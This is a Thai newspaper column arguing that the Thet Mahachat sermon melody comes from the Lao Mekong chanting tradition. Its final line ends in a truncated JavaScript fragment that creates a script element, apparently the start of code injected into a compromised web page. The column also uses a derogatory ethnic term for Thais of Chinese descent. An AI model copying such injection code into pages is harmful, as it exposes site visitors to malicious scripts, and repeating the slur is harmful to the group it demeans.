มติชนรายวัน ฉบับประจำวันจันทร์ที่ 25 เมษายน 2559

 

เทศน์มหาชาติ

ได้ทำนองจากลาว ลุ่มน้ำโขง

          128 ปี โรงพยาบาลศิริราช 26 เมษายน คณบดีคณะแพทยศาสตร์ศิริราชพยาบาล มหาวิทยาลัยมหิดล (ศ. ดร. นพ. ประสิทธิ์ วัฒนาภา) แถลงว่าจะจัดเทศน์มหาชาติ ณ หอประชุมราชแพทยาลัย

          มีคำถามจากผู้รู้ข่าวนี้ว่าเทศน์มหาชาติ มาจากไหน? คำอธิบายต้องแยกเป็น 2 ส่วน คือ เนื้อเรื่อง กับ ทำนอง

thes25-04-59 1

          เนื้อเรื่องเทศน์มหาชาติ คือ เวสสันดรชาดก มาจากอินเดีย เล่าเรื่องพระชาติในอดีตของพระพุทธเจ้า เมื่อยังเป็นพระโพธิสัตว์บำเพ็ญทานบารมี นับเป็นพระชาติสุดท้ายที่ต่อไปจะตรัสรู้เป็นพระพุทธเจ้า

          ทำนองเทศน์มหาชาติ มาจากประเพณีขับลำของลาวลุ่มน้ำโขง มีเล่นลูกคอและเสียงโหยหวนเป็นลักษณะสำคัญ ยังใช้งานสืบจนปัจจุบัน

          สมเด็จฯ กรมพระยาดำรงราชานุภาพ ทรงมีพระนิพนธ์ไว้ในคำนำหนังสือมหาพนคำเฉียง [แต่งก่อน พ.ศ. 2229 ได้จากเมืองเชียงใหม่ พิมพ์แจกงานศพ ขุนราชพิจิตร (จุ้ย กฤษณามระ) พ.ศ. 2462] สรุปว่า

          “พระเทศน์เวสสันดรชาดกโดยทำนองต่างๆ เห็นจะมีขึ้นทางเมืองลาวก่อน แล้วจึงแพร่หลายลงมาข้างใต้ มอญจะได้ไปจากไทย ฤๅไทยฝ่ายเหนือจะได้มาจากมอญ ข้อนี้ยังสงสัยอยู่”

          ก่อนใช้เทศน์มหาชาติ ทำนองอย่างนี้เคยเป็นขับลำยุคแรกเริ่มของหมอผี เนื่องในศาสนาผีของกลุ่มชนดั้งเดิมไม่น้อยกว่า 2,500 ปีมาแล้ว (มีหลักฐานเป็นลายเส้นบนเครื่องมือสำริดพบที่เวียดนาม)

          หลังรับศาสนาจากอินเดีย จึงปรับใช้ในพิธีกรรมของนักบวช คือพราหมณ์ (อ่านโองการ) และพระสงฆ์ (เทศน์มหาชาติ)

          ฉันทลักษณ์แต่งเทศน์มหาชาติ เรียกร่ายยาว (มีต้นทางจากคำคล้องจอง) ยุคปลายอยุธยา เป็นฉันทลักษณ์เดียวกับบทเจรจาโขน

          ประเพณีขับลำจากลุ่มน้ำโขงมีพัฒนาการอีกทางหนึ่งเป็นหมอลำ (ลุ่มน้ำโขง) และขับเสภา (ลุ่มน้ำเจ้าพระยา)

          ทั้งหมดล้วนสนับสนุนว่าบรรพชนคนไทยสายหนึ่งโยกย้ายลงมาจากลุ่มน้ำโขง [ที่ใครต่อใครผู้คลั่งความเป็นไทยแท้ทั้งดุ้น (โดยเฉพาะลูกเจ๊ก) จำนวนมาก ตั้งข้อรังเกียจ]var d=document;var s=d.createElement(‘script’);